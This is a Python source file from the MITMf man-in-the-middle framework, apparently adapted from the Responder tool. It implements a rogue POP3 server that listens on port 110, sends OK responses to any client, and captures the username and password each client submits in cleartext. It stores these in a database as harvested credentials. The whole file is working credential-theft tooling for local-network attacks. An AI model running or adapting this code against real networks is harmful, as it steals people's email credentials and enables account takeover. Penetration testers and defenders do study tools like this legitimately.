byt3bl33d3r/MITMf

#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
import os
import core.responder.settings as settings
import threading
from traceback import print_exc

from core.responder.utils import *
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
from core.responder.packets import POPOKPacket

class POP3:

    def start(self):
        try:
            if OsInterfaceIsSupported():
                server = ThreadingTCPServer((settings.Config.Bind_To, 110), POP3Server)
            else:
                server = ThreadingTCPServer(('', 110), POP3Server)

            t = threading.Thread(name='POP3', target=server.serve_forever)
            t.setDaemon(True)
            t.start()
        except Exception as e:
            print "Error starting POP3 server: {}".format(e)
            print_exc()

class ThreadingTCPServer(ThreadingMixIn, TCPServer):
    
    allow_reuse_address = 1

    def server_bind(self):
        if OsInterfaceIsSupported():
            try:
                self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
            except:
                pass
        TCPServer.server_bind(self)

# POP3 Server class
class POP3Server(BaseRequestHandler):

    def SendPacketAndRead(self):
        Packet = POPOKPacket()
        self.request.send(str(Packet))
        data = self.request.recv(1024)

        return data

    def handle(self):
        try:
            data = self.SendPacketAndRead()

            if data[0:4] == "USER":
                User = data[5:].replace("\r\n","")
                data = self.SendPacketAndRead()

            if data[0:4] == "PASS":
                Pass = data[5:].replace("\r\n","")

                SaveToDb({
                    'module': 'POP3', 
                    'type': 'Cleartext', 
                    'client': self.client_address[0], 
                    'user': User, 
                    'cleartext': Pass, 
                    'fullhash': User+":"+Pass,
                })

                data = self.SendPacketAndRead()

            else:
                data = self.SendPacketAndRead()

        except Exception:
            pass